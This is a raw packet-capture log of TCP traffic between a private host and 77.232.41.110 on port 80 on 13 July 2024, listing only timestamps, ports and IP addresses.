Jul 13, 2024 07:07:02.752674103 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752691031 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752701044 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752742052 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752743006 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752778053 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752803087 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752820969 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752829075 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752878904 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752908945 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752942085 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752949953 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752949953 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752975941 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752993107 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753010988 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753021002 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753045082 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753077984 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753091097 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753091097 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753122091 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753130913 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753171921 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753206015 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753238916 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753248930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753248930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753273010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753293037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753323078 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753359079 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753359079 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753361940 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753395081 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753428936 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.753470898 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.753470898 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795171022 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795244932 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795279980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795314074 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795347929 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795381069 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795414925 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795449018 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795481920 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795485020 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795485020 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795516014 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795551062 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795572042 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795572042 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795572042 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795572042 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795572042 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795584917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795592070 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795619965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795655012 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795664072 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795664072 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795689106 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795722961 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795732021 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795732021 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795756102 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795789003 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795803070 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795803070 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795823097 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795855999 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795865059 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795865059 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795890093 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795922041 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795932055 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795932055 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795955896 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.795964956 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.795989037 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796021938 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796055079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796087980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796092987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796092987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796128035 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796140909 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796175003 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796207905 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796257973 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796291113 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796303034 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796303034 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796325922 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796358109 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796391010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796392918 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796392918 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796422958 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796456099 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796502113 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796502113 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796519041 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796552896 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796566010 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796586037 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796619892 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796627998 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796627998 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796652079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796667099 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796684980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796717882 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796726942 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796726942 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796751976 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796785116 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796793938 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796793938 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.796821117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.796835899 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797041893 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797043085 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797074080 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797107935 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797141075 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797158003 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797158957 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797173023 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797199965 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797208071 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797241926 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797275066 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797307968 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797318935 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797318935 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797339916 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797393084 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797425985 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797435999 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797436953 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797461033 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797492981 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797532082 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797532082 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797547102 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797579050 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797612906 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797633886 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797646046 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797658920 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797704935 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797755957 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797790051 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797820091 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797821999 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797893047 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797908068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797941923 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797959089 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797959089 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.797975063 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.797988892 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.798023939 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.798029900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.798057079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.798089027 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.798101902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.798101902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.798124075 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.798156977 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.798190117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.798201084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.798201084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.798439026 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837330103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837399960 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837423086 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837459087 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837512970 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837513924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837512970 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837548018 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837583065 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837587118 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837588072 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837615967 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837650061 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837658882 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837658882 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837682962 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837718010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837729931 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837729931 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837750912 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837784052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837817907 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837847948 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837847948 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837852001 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.837893963 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.837893963 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.839534044 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839596987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.839603901 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839641094 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839674950 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839709997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839718103 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.839718103 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.839742899 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839781046 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.839832067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.839832067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840471029 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840524912 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840550900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840603113 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840610027 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840637922 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840671062 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840679884 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840679884 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840704918 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840713978 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840739965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840794086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840835094 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840867996 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840900898 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840934038 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.840945005 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840945005 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.840982914 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.841016054 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.841048002 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.841062069 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.841062069 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.841114998 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.881669044 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881714106 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881772041 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881807089 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881841898 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881875992 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881927013 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881926060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.881927013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.881927013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.881927013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.881927013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.881962061 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.881994963 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882020950 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882029057 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882029057 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882061005 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882095098 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882103920 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882129908 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882134914 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882181883 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882215023 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882246017 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882250071 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882285118 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882318974 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882328033 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882328033 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882350922 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882400990 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882416964 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882433891 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882435083 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882468939 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882502079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882510900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882510900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882534027 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882567883 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882575989 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882575989 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882601023 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882621050 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882633924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882656097 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882685900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882685900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882718086 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882738113 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882750034 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882776976 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882781029 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882806063 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882814884 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882841110 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882848024 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882900000 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882901907 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.882932901 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882972002 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.882987022 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883003950 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883006096 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883057117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883090019 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883101940 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883101940 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883124113 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883157015 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883167028 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883167028 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883189917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883223057 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883232117 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883232117 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883255959 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883294106 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883301973 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883301973 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883327007 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883361101 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883369923 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883369923 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883394003 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883428097 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883435011 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883435011 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883460045 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883493900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883503914 CEST	58979	80	192.168.2.5	77.232.41.110
